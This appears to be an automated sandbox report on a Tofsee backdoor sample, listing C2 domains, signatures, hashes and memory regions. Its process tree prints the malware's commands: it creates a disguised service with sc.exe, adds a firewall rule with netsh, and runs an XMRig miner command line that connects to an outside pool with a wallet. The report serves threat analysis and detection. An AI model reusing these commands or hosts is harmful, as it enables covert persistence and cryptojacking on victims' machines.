Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:01

General

  • Target

    f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe

  • Size

    265KB

  • MD5

    695c14c51ae9ff59157cf69f97b2d1cc

  • SHA1

    4688eea11efa5c61c7704b5ca80196eb9099e867

  • SHA256

    f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1

  • SHA512

    e43e45420544f2fd736f2427443941f1da5b8d4a74d4c9d2e0a95c8306b2f10e12beaa6b0c2ec2715ecbd66b41431f404c942c32720a8b3ee2afa640657d4688

  • SSDEEP

    3072:d6LaowspCAE+mYgDxv5l7Iek5Ym7IQoiteVFWbVD22WsgAsR6c7ovb3TQh9:SaWCAF5Cf7Iem57InitGMxycQMrT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe
    "C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gncvxenx\
      2⤵
        PID:2072
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jmfqqzaa.exe" C:\Windows\SysWOW64\gncvxenx\
        2⤵
          PID:2716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gncvxenx binPath= "C:\Windows\SysWOW64\gncvxenx\jmfqqzaa.exe /d\"C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gncvxenx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gncvxenx
          2⤵
          • Launches sc.exe
          PID:2612
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3044
      • C:\Windows\SysWOW64\gncvxenx\jmfqqzaa.exe
        C:\Windows\SysWOW64\gncvxenx\jmfqqzaa.exe /d"C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2564
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2680

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\jmfqqzaa.exe

              Filesize

              10.1MB

              MD5

              3d6bc1091abee960f901789dd76ca593

              SHA1

              25e8fe98e6060e61adfdfbe94e7bd570ab23c7a4

              SHA256

              03234f8d27411d66b662d81feef4246d136f3beb44234befc6b77d54b4a549f5

              SHA512

              1e7e41687850b10bc0a22e67be8631969e5eda85a7126ee388e534b1f0ae9e326f6143614677e355918a1400a61f037bda3b5172285d34b636e7484152ccd730

            • C:\Windows\SysWOW64\gncvxenx\jmfqqzaa.exe

              Filesize

              10.1MB

              MD5

              3d6bc1091abee960f901789dd76ca593

              SHA1

              25e8fe98e6060e61adfdfbe94e7bd570ab23c7a4

              SHA256

              03234f8d27411d66b662d81feef4246d136f3beb44234befc6b77d54b4a549f5

              SHA512

              1e7e41687850b10bc0a22e67be8631969e5eda85a7126ee388e534b1f0ae9e326f6143614677e355918a1400a61f037bda3b5172285d34b636e7484152ccd730

            • memory/2564-34-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-29-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-43-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-61-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2564-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2564-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2564-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2564-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2564-18-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2564-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2564-42-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-32-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-9-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2564-22-0x0000000001B50000-0x0000000001D5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2564-25-0x0000000001B50000-0x0000000001D5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2564-35-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-52-0x0000000000290000-0x0000000000295000-memory.dmp

              Filesize

              20KB

            • memory/2564-49-0x0000000000290000-0x0000000000295000-memory.dmp

              Filesize

              20KB

            • memory/2564-48-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-53-0x0000000005930000-0x0000000005D3B000-memory.dmp

              Filesize

              4.0MB

            • memory/2564-47-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-46-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-45-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-56-0x0000000005930000-0x0000000005D3B000-memory.dmp

              Filesize

              4.0MB

            • memory/2564-33-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-36-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-44-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-41-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-57-0x00000000002A0000-0x00000000002A7000-memory.dmp

              Filesize

              28KB

            • memory/2564-40-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-39-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-38-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2564-37-0x0000000000200000-0x0000000000210000-memory.dmp

              Filesize

              64KB

            • memory/2572-7-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2572-1-0x00000000002B0000-0x00000000003B0000-memory.dmp

              Filesize

              1024KB

            • memory/2572-4-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2572-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2680-76-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-63-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-62-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-73-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-77-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-71-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-75-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-74-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2680-72-0x0000000000140000-0x0000000000231000-memory.dmp

              Filesize

              964KB

            • memory/2744-12-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2744-16-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2744-10-0x0000000000640000-0x0000000000740000-memory.dmp

              Filesize

              1024KB